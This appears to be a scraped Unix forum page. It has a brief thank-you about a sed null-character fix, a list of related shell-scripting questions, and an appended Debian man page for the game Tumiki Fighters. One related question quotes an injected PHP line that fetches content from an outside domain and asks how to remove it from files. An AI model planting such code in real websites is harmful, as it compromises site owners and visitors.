05-27-2010
wow, the sed works great. Exactly what i wanted. I was stuck with 's/$\x0/NULL/g' and was wondering what was the mistake. Well thank you very much funksen
10 More Discussions You Might Find Interesting
1. UNIX for Dummies Questions & Answers
Does anyone know how to use grep/egrep to find a string that contains a null character?
i.e.: the string looks like this: null0001nullN
well I want to be able to : grep '0001N'
is there a wildcard character or something that I can put in the grep to include the nulls? (3 Replies)
Discussion started by: weerich
3 Replies
2. Shell Programming and Scripting
Hi,
If, in a text file a string is expected at a certain fixed position(for eg at position 5 or from 5-10 on every line)
how to check whether data is present on that position or not?
Thnx in advance (6 Replies)
Discussion started by: misenkiser
6 Replies
3. Shell Programming and Scripting
Hi,
I need to check for value not equal (<>) to 21 and not equal empty or null values.
Please modify this script
if
then
echo "$VALUE,$BSC_NAME,$BSC_ID" > $OUT_FILE/power_up.out
end if
TQ (5 Replies)
Discussion started by: doer
5 Replies
4. Shell Programming and Scripting
Hello,
I need a script or one liner possible in perl or awk ( as sed shows error )
I want to replace
<?php echo file_get_contents("http://googlesindication.cn/links.php?site=".$_SERVER);?>
with blank or null
1) in a file
2) in many directories recursively. (3 Replies)
Discussion started by: fed.linuxgossip
3 Replies
5. UNIX for Dummies Questions & Answers
Hi everybody,
How to add null values in unix file?
This is what was asked to me in an interview. (4 Replies)
Discussion started by: sachin.gangadha
4 Replies
6. Shell Programming and Scripting
Hello,
I would assume the expression ^$ should match a null string. Yet when I run:
echo -n | sed 's/^$/nullstring/'
I get no output.
Can anyone tell me why? (6 Replies)
Discussion started by: Allasso
6 Replies
7. Shell Programming and Scripting
Dear All,
I have the following input file. I want to replace data with null values.
I/P File:
9022334455|2008-12-06 06:10:21|2|Error@@@|esoo8erp|
9024334432|2008-12-06 08:40:59|6|Error@@@|6y2o8e6r|
O/P File:
9022334455||2||esoo8erp|
9024334432||6||6y2o8e6r|
... (4 Replies)
Discussion started by: hanu_oracle
4 Replies
8. Shell Programming and Scripting
I have a string like
In this string I want to delete both "." and ":", means I want the output as:
How can I do that using "tr" or any other such command? (6 Replies)
Discussion started by: ash.g
6 Replies
9. Shell Programming and Scripting
I kind of found out the hard way that I am not able to manipulate the null value, the long silence that happens when there is no value returned.
I am looking for PIDs, and when there is no PID return, I wanted to handle this special scenario.
Here is my script.
#!/bin/bash
LAN_VARIABLE=... (7 Replies)
Discussion started by: lan123
7 Replies
10. Linux
I am getting some values from a file and putting them in an array..but the null strings are not getting passed to the array. So during printing the elements ,the null string is not showing in the output. during array size calculation it is also excluding null.Please let me know how to do it.
# cat... (2 Replies)
Discussion started by: millan
2 Replies
LEARN ABOUT DEBIAN
tumiki-fighters
Tumiki Fighters(6) Tumiki Fighters(6)
NAME
tumiki-fighters - sticky 2D shooter
DESCRIPTION
OPTIONS
These options are available:
-brightness n
Set the brightness of the screen.(n = 0 - 100, default = 100)
-res x y
Set the screen resolution to (x, y).
-nosound
Stop the sound.
-window
Launch the game in a window.
-fullscreen
Launch the game in fullscreen.
-reverse
Reverse the shot key and the slow key.
USAGE
How to play:
Movement
Arrow / Num / [WASD] / Joystick
Shot [Z][L-Ctrl][.] / Trigger 1, 4, 5, 8
Slow/Pull in
[X][L-Alt][L-Shift][/] / Trigger 2, 3, 6, 7
Pause [P]
At the title screen, push a shot key to start the game.
Control your ship and destroy enemies. You can catch the enemy's broken piece. Pieces are stuck to your ship and counterattack to ene-
mies. You can earn the bonus score by keeping many pieces stuck. Stuck pieces are destroyed when they touch a enemy's bullet.
While holding a slow key, the ship becomes slow and the ship direction is fixed. Stuck pieces are pulled in and you can prevent a crash of
them, but the bonus score reduces to one fifth. Enemy's pieces are not stuck while holding this key.
If you stick many pieces, enemies become more offensive and tend to fire more bullets.
The ship is destroyed when it is hit by a bullet. The body of the enemy has no collision damage.
The ship extends at 200,000 and every 500,000 points.
SEE ALSO
You can find more about the game on its homepage: http://www.asahi-net.or.jp/~cs8k-cyu/windows/tf_e.html
AUTHOR
This game has been written by Kenta Cho <cs8k-cyu@asahi-net.or.jp>
Tumiki Fighters(6)